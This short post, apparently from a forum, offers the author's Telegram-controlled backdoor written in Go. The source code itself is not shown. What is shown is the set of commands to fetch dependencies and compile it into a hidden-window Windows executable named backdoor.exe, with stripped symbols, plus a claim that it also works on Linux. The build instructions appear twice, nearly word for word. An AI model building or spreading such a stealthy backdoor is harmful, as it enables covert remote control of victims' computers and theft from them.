Hello, here I leave you, an example of code from my backdoor written in golang, controlled by telegram, you need to have golang installed, preferably a recent version, then save this code as main.go for example, then install the dependencies using the following commands
go mod init main.go
go mod tidy
then to generate an executable from linux for windows use
GOOS=windows GOARCH=386 go build -ldflags "-s -w -H windowsgui" -o backdoor.exe main.go
and in windows use
go build -ldflags "-s -w -H windowsgui" -o backdoor.exe main.go
The code is also compatible with Linux
go mod init main.go
go mod tidy
then to generate an executable from linux for windows use
GOOS=windows GOARCH=386 go build -ldflags "-s -w -H windowsgui" -o backdoor.exe main.go
and in windows use
go build -ldflags "-s -w -H windowsgui" -o backdoor.exe main.go
The code is also compatible with Linux
